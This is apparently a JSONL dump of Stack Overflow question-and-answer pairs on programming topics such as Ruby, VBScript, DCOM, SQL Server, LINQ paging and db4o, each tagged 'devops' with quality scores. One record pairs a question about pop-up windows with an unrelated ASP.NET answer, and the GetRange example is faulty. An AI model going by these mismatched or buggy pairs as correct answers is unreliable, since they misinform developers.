the network.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.472251"}
{"id": "hf_2942ff879fcc", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Aspect-oriented_programming\" rel=\"noreferrer\">AOP</a> is an interesting programming paradigm in my opinion. However, there haven't been discussions about it yet here on stackoverflow (at least I couldn't find them). What do you think about it in general? Do you use AOP in your projects? Or do you think it's rather a niche technology that won't be around for a long time or won't make it into the mainstream (like OOP did, at least in theory ;))? </p>\n\n<p>If you do use AOP then please let us know which tools you use as well. Thanks!</p>\n", "question_body": "", "answer": "We used aspectJ in one of my big projects for quite some time.  The project was made up of several web services, each with several functions, which was the front end for a complicated document processing/querying system.  Somewhere around 75k lines of code.  We used aspects for two relatively minor pieces of functionality.\nFirst was tracing application flow.  We created an aspect that ran before and after each function call to print out \"entered 'function'\" and \"exited 'function'\".  With the function selector thing (pointcut maybe?  I don't remember the right name) we were able to use this as a debugging tool, selecting only functions that we wanted to trace at a given time.  This was a really nice use for aspects in our project.\nThe second thing we did was application specific metrics.  We put aspects around our web service methods to capture timing, object information, etc. and dump the results in a database.  This was nice because we could capture this information, but still keep all of that capture code separate from the \"real\" code that did the work.\nI've read about some nice solutions that aspects can bring to the table, but I'm still not convinced that they can really do anything that you couldn't do (maybe better) with \"normal\" technology.  For example, I couldn't think of any major feature or functionality that any of our projects needed that couldn't be done just as easily without aspects - where I've found aspects useful are the kind of minor things that I've mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.509002"}
{"id": "hf_275eb83e2fa2", "question": "<p>Other than <code>self.class.send :method, args...</code>, of course.  I'd like to make a rather complex method available at both the class and instance level without duplicating the code.</p>\n\n<hr>\n\n<p><strong>UPDATE:</strong>  </p>\n\n<p>@Jonathan Branam: that was my assumption, but I wanted to make sure nobody else had found a way around.  Visibility in Ruby is very different from that in Java.  You're also quite right that <code>private</code> doesn't work on class methods, though this will declare a private class method:</p>\n\n<pre><code>class Foo\n  class &lt;&lt;self\n    private\n    def bar\n      puts 'bar'\n    end\n  end\nend\n\nFoo.bar\n# =&gt; NoMethodError: private method 'bar' called for Foo:Class\n</code></pre>\n", "question_body": "", "answer": "Unless I'm misunderstanding, don't you just need something like this:\n```\n```\nclass Foo\n    private\n    def Foo.bar\n        # Complex logic goes here\n        puts \"hi\"\n    end\n\n    public\n    def bar\n        Foo.bar\n    end\nend\n```\n```\nOf course you could change the second definition to use your self.class.send approach if you wanted to avoid hardcoding the class name...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.533863"}
{"id": "hf_4a38944aec0d", "question": "<p>What is the difference in ASP/VBScript between <code>Int()</code> and <code>CInt()</code>?</p>\n", "question_body": "", "answer": "Int()\nThe Int function returns the integer part of a specified number.\nCInt()\nThe CInt function converts an expression to type Integer.\nAnd the best answer comes from\nMSDN\nCInt differs from the Fix and Int functions, which truncate, rather than round, the fractional part of a number. When the fractional part is exactly 0.5, the CInt function always rounds it to the nearest even number. For example, 0.5 rounds to 0, and 1.5 rounds to 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.564994"}
{"id": "hf_6caae58f487a", "question": "<p>I want to test the behavior of a certain piece of .NET code in partial trust environments.  What's the fastest way to set this up?  Feel free to assume that I (and other readers) are total CAS noobs.</p>\n\n<p>@Nick: Thanks for the reply.  Alas, the tool in question is explicitly for unmanaged code.  I didn't say \"managed\" in my question, and should not have assumed that people would infer it from the \".NET\" tag.</p>\n", "question_body": "", "answer": "Use the\nMicrosoft Application Verifier\n.\nAppVerifier helps to determine:\nWhen the application is using APIs correctly:\n      (Unsafe TerminateThread APIs., Correct use of Thread Local Storage (TLS) APIs.,          o Correct use of virtual space manipulations (for example, VirtualAlloc, MapViewOfFile).\nWhether the application is hiding access violations using structured exception handling.\nWhether the application is attempting to use invalid handles.\nWhether there are memory corruptions or issues in the heap.\nWhether the application runs out of memory under low resources.\nWhether the correct usage of critical sections is occurring.\nWhether an application running in an administrative environment will run well in an environment with less privilege.\nWhether there are potential problems when the application is running as a limited user.\nWhether there are uninitialized variables in future function calls in a thread's context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.614392"}
{"id": "hf_189e435efcc3", "question": "<p>I've tried several things already,</p>\n\n<pre><code>std::stringstream m;\nm.empty();\nm.clear();\n</code></pre>\n\n<p>both of which don't work.</p>\n", "question_body": "", "answer": "```\n```\nm.str(\"\");\n```\n```\nseems to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.662043"}
{"id": "hf_762f4d147f39", "question": "<p>I've seen binary trees and binary searching mentioned in several books I've read lately, but as I'm still at the beginning of my studies in Computer Science, I've yet to take a class that's really dealt with algorithms and data structures in a serious way.</p>\n\n<p>I've checked around the typical sources (Wikipedia, Google) and most descriptions of the usefulness and implementation of (in particular) Red-Black trees have come off as dense and difficult to understand. I'm sure for someone with the necessary background, it makes perfect sense, but at the moment it reads like a foreign language almost.</p>\n\n<p>So what makes binary trees useful in some of the common tasks you find yourself doing while programming? Beyond that, which trees do you prefer to use (please include a sample implementation) and why?</p>\n", "question_body": "", "answer": "Red Black trees are good for creating well-balanced trees. The major problem with binary search trees is that you can make them unbalanced very easily. Imagine your first number is a 15. Then all the numbers after that are increasingly smaller than 15. You'll have a tree that is very heavy on the left side and has nothing on the right side.\nRed Black trees solve that by forcing your tree to be balanced whenever you insert or delete. It accomplishes this through a series of rotations between ancestor nodes and child nodes. The algorithm is actually pretty straightforward, although it is a bit long. I'd suggest picking up the CLRS (Cormen, Lieserson, Rivest and Stein) textbook, \"Introduction to Algorithms\" and reading up on RB Trees.\nThe implementation is also not really so short so it's probably not really best to include it here. Nevertheless, trees are used\nextensively\nfor high performance apps that need access to lots of data. They provide a very efficient way of finding nodes, with a relatively small overhead of insertion/deletion. Again, I'd suggest looking at CLRS to read up on how they're used.\nWhile BSTs may not be used explicitly - one example of the use of trees in general are in almost every single modern RDBMS. Similarly, your file system is almost certainly represented as some sort of tree structure, and files are likewise indexed that way. Trees power Google. Trees power just about every website on the internet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.685644"}
{"id": "hf_25cd65f45751", "question": "<p>In what situation would it be more appropriate for me to use a bitset (STL container) to manage a set of flags rather than having them declared as a number of separate (bool) variables?</p>\n\n<p>Will I get a significant performance gain if I used a bitset for 50 flags rather than using 50 separate bool variables?</p>\n", "question_body": "", "answer": "Well, 50 bools as a bitset will take 7 bytes, while 50 bools as bools will take 50 bytes.  These days that's not really a big deal, so using bools is probably fine.\nHowever, one place a bitset might be useful is if you need to pass those bools around a lot, especially if you need to return the set from a function.  Using a bitset you have less data that has to be moved around on the stack for returns.  Then again, you could just use refs instead and have even less data to pass around. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.752634"}
{"id": "hf_9272fd9f6b00", "question": "<p>I have a byte array in memory, read from a file.  I would like to split the byte array at a certain point (index) without having to just create a new byte array and copy each byte at a time, increasing the in memory foot print of the operation. What I would like is something like this:</p>\n\n<pre><code>byte[] largeBytes = [1,2,3,4,5,6,7,8,9];  \nbyte[] smallPortion;  \nsmallPortion = split(largeBytes, 3);  \n</code></pre>\n\n<p><code>smallPortion</code> would equal 1,2,3,4<br>\n<code>largeBytes</code> would equal 5,6,7,8,9</p>\n", "question_body": "", "answer": "You can't. What you might want is keep a starting point and number of items; in essence, build iterators. If this is C++, you can just use\n```\nstd::vector<int>\n```\nand use the built-in ones.\nIn C#, I'd build a small iterator class that holds start index, count and implements\n```\nIEnumerable<>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.816650"}
{"id": "hf_95318b33076c", "question": "<p>Why should I or shouldn't I use dirty reads:</p>\n\n<pre><code>set transaction isolation level read uncommitted\n</code></pre>\n\n<p>in SQL Server?</p>\n", "question_body": "", "answer": "Generally when you need to do a sizeable (or frequent) queries to busy tables, where read committed would possibly be blocked by locks from uncommited transactions, but ONLY when you can live with inaccurate data.\nAs an example, on a gaming web site I worked on recently there was a summary display of some stats about recent games, this was all based on dirty reads, it was more important for us to include then exclude the transactional data not yet committed (we knew anyway that few, if any, transactions would be backed out), we felt that on average the data would be more accurate that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.866791"}
{"id": "hf_222c6f71439a", "question": "<p>I'm working on a DCOM application with the server and client on two machines, both of which are running WinXP with Service Pack 2. On both machines, I'm logged in with the same username and password.</p>\n\n<p>When the client on one machine calls CoCreateInstanceEx, asking the other machine to start up the server application, it returns E_ACCESSDENIED.</p>\n\n<p>I tried going into the server app's component properties in dcomcnfg and giving full permisions to everyone for everything, but that didn't help.</p>\n\n<p>What do I need to do to allow this call to succeed?</p>\n\n<p><strong>Update:</strong> When the server app is running on a Windows 2000 box, I do not get this error; CoCreateInstanceEx returns S_OK.</p>\n", "question_body": "", "answer": "Three things to check:\n1) Go back to dcomcnfg and make try making sure that not just the access security but also the \"launch permissions\" section contains the appropriate security users or groups.\n2) Ensure that the Authentication Level is set to something else other than \"None\"\n3) Also check that the location on disk that the component is located is actually accessible to the account configured in the security permissions you set.\nEDIT:\nOne more: Are you calling CoInitialiseSecurity() first too? That rings a bell!\nEDIT2:\nBased on your update: Try dropping the firewalls completely on both XP machines and see if that makes a difference. You may need to let DCOM through explicitly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.890856"}
{"id": "hf_cb62eb5ad632", "question": "<p>I'd like to be able to track file read/writes of specific program invocations.  No information about the actual transactions is required, just the file names involved.</p>\n\n<p>Is there a cross platform solution to this?  <br />\nWhat are various platform specific methods?  <br />\nOn Linux I know there's strace/ptrace (if there are faster methods that'd be good too). <br />I think on mac os there's ktrace.  <br />\nWhat about Windows?</p>\n\n<p>Also, it would be amazing if it would be possible to block (stall out) file accesses until some later time.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "On Windows you can use the command line tool\nHandle\nor the GUI version\nProcess Explorer\nto see which files a given process has open.\nIf you're looking for a get this information in your own program you can use the\nIFS kit\nfrom Microsoft to write a file system filter. The file system filter will show all file system operation for all process. File system filters are used in AV software to scan files before they are open or to scan newly created files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.926960"}
{"id": "hf_c025489b4a33", "question": "<p>I've heard of a few ways to implement tagging; using a mapping table between TagID and ItemID (makes sense to me, but does it scale?), adding a fixed number of possible TagID columns to ItemID (seems like a bad idea), Keeping tags in a text column that's comma separated (sounds crazy but could work). I've even heard someone recommend a sparse matrix, but then how do the tag names grow gracefully?</p>\n\n<p>Am I missing a best practice for tags?</p>\n", "question_body": "", "answer": "Three tables (one for storing all items, one for all tags, and one for the relation between the two), properly indexed, with foreign keys set running on a proper database, should work well and scale properly.\n```\n```\nTable: Item\nColumns: ItemID, Title, Content\n\nTable: Tag\nColumns: TagID, Title\n\nTable: ItemTag\nColumns: ItemID, TagID\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.951246"}
{"id": "hf_5f7c356ac8e1", "question": "<p>Some things look strange to me:</p>\n\n<ul>\n<li>What is the distinction between 0.0.0.0, 127.0.0.1, and [::]?</li>\n<li>How should each part of the foreign address be read (part1:part2)?</li>\n<li>What does a state Time_Wait, Close_Wait mean?</li>\n<li>etc.</li>\n</ul>\n\n<p>Could someone give a quick overview of how to interpret these results?</p>\n", "question_body": "", "answer": "0.0.0.0 usually refers to stuff listening on all interfaces.\n127.0.0.1 = localhost (only your local interface)\nI'm not sure about [::]\nTIME_WAIT means both sides have agreed to close and TCP\nmust now wait a prescribed time before taking the connection\ndown.\nCLOSE_WAIT means the remote system has finished sending\nand your system has yet to say it's finished.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.996975"}
{"id": "hf_b63d5d8f5f86", "question": "<p>I need to script the creation of app pools and websites on IIS 6.0. I have been able to create these using adsutil.vbs and iisweb.vbs, but don't know how to set the version of ASP.NET for the sites I have just created to 2.0.50727.0.</p>\n\n<p>Ideally I would like to adsutil.vbs to update the metabase. How do I do this?</p>\n", "question_body": "", "answer": "I found the following script\nposted\non Diablo Pup's blog.  It uses ADSI automation.\n```\n```\n'******************************************************************************************\n' Name: SetASPDotNetVersion\n' Description: Set the script mappings for the specified ASP.NET version\n' Inputs: objIIS, strNewVersion\n'******************************************************************************************\nSub SetASPDotNetVersion(objIIS, strNewVersion)\n Dim i, ScriptMaps, arrVersions(2), thisVersion, thisScriptMap\n Dim strSearchText, strReplaceText\n\n Select Case Trim(LCase(strNewVersion))\n  Case \"1.1\"\n   strReplaceText = \"v1.1.4322\"\n  Case \"2.0\"\n   strReplaceText = \"v2.0.50727\"\n  Case Else\n   wscript.echo \"WARNING: Non-supported ASP.NET version specified!\"\n   Exit Sub\n End Select\n\n ScriptMaps = objIIS.ScriptMaps\n arrVersions(0) = \"v1.1.4322\"\n arrVersions(1) = \"v2.0.50727\"\n 'Loop through all three potential old values\n For Each thisVersion in arrVersions\n  'Loop through all the mappings\n  For thisScriptMap = LBound(ScriptMaps) to UBound(ScriptMaps)\n   'Replace the old with the new \n   ScriptMaps(thisScriptMap) = Replace(ScriptMaps(thisScriptMap), thisVersion, strReplaceText)\n  Next\n Next \n\n objIIS.ScriptMaps = ScriptMaps\n objIIS.SetInfo\n wscript.echo \"<-------Set ASP.NET version to \" & strNewVersion & \" successfully.------->\"\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.044185"}
{"id": "hf_82bc2549b0aa", "question": "<p>Today I was working on a tab navigation for a webpage. I tried the <a href=\"http://www.alistapart.com/articles/slidingdoors2/\" rel=\"noreferrer\">Sliding Doors</a> approach which worked fine. Then I realized that I must include an option to delete a tab (usually a small X in the right corner of each tab). </p>\n\n<p>I wanted to use a nested anchor, which didn't work because it is <a href=\"http://www.w3.org/TR/html4/struct/links.html#h-12.2.2\" rel=\"noreferrer\">not</a> allowed. Then I saw the tab- navigation at <a href=\"http://www.pageflakes.com\" rel=\"noreferrer\">Pageflakes</a>, which was actually working (including nested hyperlinks). Why?</p>\n", "question_body": "", "answer": "They must be doing some really crazy stuff with JavaScript to get it to work (notice how neither the parent nor the nested anchor tags have a name or href attribute - all functionality is done through the class name and JS).\nHere is what the html looks like:\n```\n```\n<a class=\"page_tab page_tab\">\n  <div class=\"page_title\" title=\"Click to rename this page.\">Click & Type Page Name</div>\n  <a class=\"delete_page\" title=\"Click to delete this page\" style=\"display: block;\">X</a>\n</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.068851"}
{"id": "hf_a69bd381d938", "question": "<p>I'm designing a database table and asking myself this question: <em>How long should the firstname field be?</em></p>\n<p>Does anyone have a list of reasonable lengths for the most common fields, such as first name, last name, and email address?</p>\n", "question_body": "", "answer": "Just looking though my email archives, there are a number of pretty long \"first\" names (of course what is meant by first is variable by culture).  One example is Krishnamurthy - which is 13 letters long.  A good guess might be 20 to 25 letters based on this.  Email should be\nmuch\nlonger since you might have firstname.lastname@somedomain.com.  Also, gmail and some other mail programs allow you to use firstname.lastname+sometag@somedomain.com where \"sometag\" is anything you want to put there so that you can use it to sort incoming emails.  I frequently run into web forms that don't allow me to put in my full email address without considering any tags.   So, if you need a fixed email field maybe something like  25.25+15@20.3 in characters for a total of 90 characters (if I did my math right!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.117441"}
{"id": "hf_be4603029c83", "question": "<p>How can I determine all of the assemblies that my .NET desktop application has loaded?  I'd like to put them in the about box so I can query customers over the phone to determine what version of XYZ they have on their PC.</p>\n\n<p>It would be nice to see both managed and unmanaged assemblies.  I realize the list will get long but I plan to slap an incremental search on it.</p>\n", "question_body": "", "answer": "Looks like\n```\nAppDomain.CurrentDomain.GetAssemblies();\n```\nwill do the trick :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.141475"}
{"id": "hf_f4b63ae609ed", "question": "<p>When I try to create a SQL Server Login by saying</p>\n\n<pre><code>CREATE LOGIN [ourdomain\\SQLAccessGroup] FROM WINDOWS;\n</code></pre>\n\n<p>I get this error</p>\n\n<blockquote>\n  <p>The server principal 'ourdomain\\SQLAccessGroup' already exists.</p>\n</blockquote>\n\n<p>However, when I try this code</p>\n\n<pre><code>DROP LOGIN [ourdomain\\SQLAccessGroup]\n</code></pre>\n\n<p>I get this error</p>\n\n<blockquote>\n  <p>Cannot drop the login 'ourdomain\\SQLAccessGroup', because it does not exist or you do not have permission.</p>\n</blockquote>\n\n<p>The user that I am executing this code as is a sysadmin.  Additionally, the user <code>ourdomain\\SQLAccessGroup</code> does not show up in this query</p>\n\n<pre><code>select * from sys.server_principals\n</code></pre>\n\n<p>Does anyone have any ideas?</p>\n", "question_body": "", "answer": "We are still struggling to understand the\nHOW\nof this issue, but it seems that [ourdomain\\SQLAccessGroup] was aliased by a consultant to a different user name (this is part of an MS CRM installation).  We finally were able to use some logic and some good old SID comparisons to determine who was playing the imposter game.\nOur hint came when I tried to add the login as a user to the database (since it supposedly already existed) and got this error:\n```\n```\nThe login already has an account under a different user name.\n```\n```\nSo, I started to examine each DB user and was able to figure out the culprit.  I eventually tracked it down and was able to rename the user and login so that the CRM install would work.  I wonder if I can bill them $165.00 an hour for my time... :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.176412"}
{"id": "hf_168db6a91a78", "question": "<p>When I'm working with DataBound controls in ASP.NET 2.0 such as a Repeater, I know the fastest way to retrieve a property of a bound object (instead of using Reflection with the Eval() function) is to cast the DataItem object to the type it is and then use that object natively, like the following:</p>\n\n<pre><code>&lt;%#((MyType)Container.DataItem).PropertyOfMyType%&gt;\n</code></pre>\n\n<p>The problem is, if this type is in a namespace (which is the case 99.99% of the time) then this single statement because a lot longer due to the fact that the ASP page has no concept of class scope so all of my types need to be fully qualified.</p>\n\n<pre><code>&lt;%#((RootNamespace.SubNamespace1.SubNamspace2.SubNamespace3.MyType)Container.DataItem).PropertyOfMyType%&gt;\n</code></pre>\n\n<p>Is there any kind of <code>using</code> directive or some equivalent I could place somewhere in an ASP.NET page so I don't need to use the full namespace every time?</p>\n", "question_body": "", "answer": "I believe you can add something like:\n```\n```\n<%@ Import Namespace=\"RootNamespace.SubNamespace1\" %>\n```\n```\nAt the top of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.213625"}
{"id": "hf_a7b77d3aaeab", "question": "<p>I'm tired of being in the middle of typing something, having a pop-up with a question appear, and hitting enter before reading it... (it also happens with some windows that are not pop-ups)</p>\n\n<p>Do you know if there's some setting I could touch for this not to happen?</p>\n", "question_body": "", "answer": "I believe you can add something like:\n```\n```\n<%@ Import Namespace=\"RootNamespace.SubNamespace1\" %>\n```\n```\nAt the top of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.236156"}
{"id": "hf_25cee9552365", "question": "<p>What's the most efficient way to concatenate strings?</p>\n", "question_body": "", "answer": "The most efficient is to use StringBuilder, like so:\n```\n```\nStringBuilder sb = new StringBuilder();\nsb.Append(\"string1\");\nsb.Append(\"string2\");\n...etc...\nString strResult = sb.ToString();\n```\n```\n@jonezy: String.Concat is fine if you have a couple of small things. But if you're concatenating megabytes of data, your program will likely tank.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.258132"}
{"id": "hf_75150844a102", "question": "<p>What's the easiest way to profile a PHP script?</p>\n\n<p>I'd love tacking something on that shows me a dump of all function calls and how long they took but I'm also OK with putting something around specific functions.</p>\n\n<p>I tried experimenting with the <a href=\"http://php.net/microtime\" rel=\"noreferrer\">microtime</a> function:</p>\n\n<pre><code>$then = microtime();\nmyFunc();\n$now = microtime();\n\necho sprintf(\"Elapsed:  %f\", $now-$then);\n</code></pre>\n\n<p>but that sometimes gives me negative results.  Plus it's a lot of trouble to sprinkle that all over my code.</p>\n", "question_body": "", "answer": "I like to use phpDebug for profiling.\nhttp://phpdebug.sourceforge.net/www/index.html\nIt outputs all time / memory usage for any SQL used as well as all the included files. Obviously, it works best on code that's abstracted.\nFor function and class profiling I'll just use\n```\nmicrotime()\n```\n+\n```\nget_memory_usage()\n```\n+\n```\nget_peak_memory_usage()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.293823"}
{"id": "hf_7badd8722015", "question": "<p>I've got a System.Generic.Collections.List(Of MyCustomClass) type object.</p>\n\n<p>Given integer varaibles pagesize and pagenumber, how can I query only any single page of MyCustomClass objects?</p>\n", "question_body": "", "answer": "If you have your linq-query that contains all the rows you want to display, this code can be used:\n```\n```\nvar pageNum = 3;\nvar pageSize = 20;\nquery = query.Skip((pageNum - 1) * pageSize).Take(pageSize);\n```\n```\nYou can also make an extension method on the object to be able to write\n```\n```\nquery.Page(2,50)\n```\n```\nto get the first 50 records of page 2. If that is want you want, the information is on the\nsolid code blog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.331521"}
{"id": "hf_c2da09c86a6c", "question": "<p>I'm currently trying out db4o (the java version) and I pretty much like what I see. But I cannot help wondering how it does perform in a real live (web-)environment. Does anyone have any experiences (good or bad) to share about running db4o?  </p>\n", "question_body": "", "answer": "We run DB40 .NET version in a large client/server project.\nOur experiences is that you can potentially get much better performance than typical relational databases.\nHowever, you really have to tweak your objects to get this kind of performance. For example, if you've got a list containing a lot of objects, DB4O activation of these lists is slow. There are a number of ways to get around this problem, for example, by inverting the relationship.\nAnother pain is activation. When you retrieve or delete an object from DB4O, by default it will activate the whole object tree. For example, loading a Foo will load Foo.Bar.Baz.Bat, etc until there's nothing left to load. While this is nice from a programming standpoint, performance will slow down the more nesting in your objects. To improve performance, you can tell DB4O how many levels deep to activate. This is time-consuming to do if you've got a lot of objects.\nAnother area of pain was text searching. DB4O's text searching is far, far slower than SQL full text indexing. (They'll tell you this outright on their site.) The good news is, it's easy to setup a text searching engine on top of DB4O. On our project, we've hooked up Lucene.NET to index the text fields we want.\nSome APIs don't seem to work, such as the GetField APIs useful in applying database upgrades. (For example, you've renamed a property and you want to upgrade your existing objects in the database, you need to use these \"reflection\" APIs to find objects in the database. Other APIs, such as the [Index] attribute don't work in the stable 6.4 version, and you must instead specify indexes using the Configure().Index(\"someField\"), which is not strongly typed.\nWe've witnessed performance degrade the larger your database. We have a 1GB database right now and things are still fast, but not nearly as fast as when we started with a tiny database.\nWe've found another issue where Db4O.GetByID will close the database if the ID doesn't exist anymore in the database.\nWe've found the Native Query syntax (the most natural, language-integrated syntax for queries) is far, far slower than the less-friendly SODA queries. So instead of typing:\n```\n```\n// C# syntax for \"Find all MyFoos with Bar == 23\".\n// (Note the Java syntax is more verbose using the Predicate class.)\nIList<MyFoo> results = db4o.Query<MyFoo>(input => input.Bar == 23);\n```\n```\nInstead of that nice query code, you have to an ugly SODA query which is string-based and not strongly-typed.\nFor .NET folks, they've recently introduced a LINQ-to-DB4O provider, which provides for the best syntax yet. However, it's yet to be seen whether performance will be up-to-par with the ugly SODA queries.\nDB4O support has been decent: we've talked to them on the phone a number of times and have received helpful info. Their user forums are next to worthless, however, almost all questions go unanswered. Their JIRA bug tracker receives a lot of attention, so if you've got a nagging bug, file it on JIRA on it often will get fixed. (We've had 2 bugs that have been fixed, and another one that got patched in a half-assed way.)\nIf all this hasn't scared you off, let me say that we're very happy with DB4O, despite the problems we've encountered. The performance we've got has blown away some O/RM frameworks we tried. I recommend it.\nupdate July 2015\nKeep in mind, this answer was written back in 2008. While I appreciate the upvotes, the world has changed since then, and this information may not be as reliable as it was when it was written.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.355126"}
{"id": "hf_d52f636f9283", "question": "<p>I've got a System.Generic.Collections.List(Of MyCustomClass) type object.</p>\n\n<p>Given integer varaibles pagesize and pagenumber, how can I collect only any single page of <code>MyCustomClass</code> objects?</p>\n\n<p>This is what I've got.  How can I improve it?</p>\n\n<pre><code>'my given collection and paging parameters\nDim AllOfMyCustomClassObjects As System.Collections.Generic.List(Of MyCustomClass) = GIVEN\nDim pagesize As Integer = GIVEN\nDim pagenumber As Integer = GIVEN\n\n'collect current page objects\nDim PageObjects As New System.Collections.Generic.List(Of MyCustomClass)\nDim objcount As Integer = 1\nFor Each obj As MyCustomClass In AllOfMyCustomClassObjects\nIf objcount &gt; pagesize * (pagenumber - 1) And count &lt;= pagesize * pagenumber Then\n    PageObjects.Add(obj)\nEnd If\nobjcount = objcount + 1\nNext\n\n'find total page count\nDim totalpages As Integer = CInt(Math.Floor(objcount / pagesize))\nIf objcount Mod pagesize &gt; 0 Then\ntotalpages = totalpages + 1\nEnd If\n</code></pre>\n", "question_body": "", "answer": "You use GetRange on your IEnuramble implementing collection:\n```\n```\nList<int> lolInts = new List<int>();\n\nfor (int i = 0; i <= 100; i++)\n{\n    lolInts.Add(i);\n}\n\nList<int> page1 = lolInts.GetRange(0, 49);\nList<int> page2 = lilInts.GetRange(50, 100);\n```\n```\nI trust you can figure out how to use GetRange to grab an individual page from here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 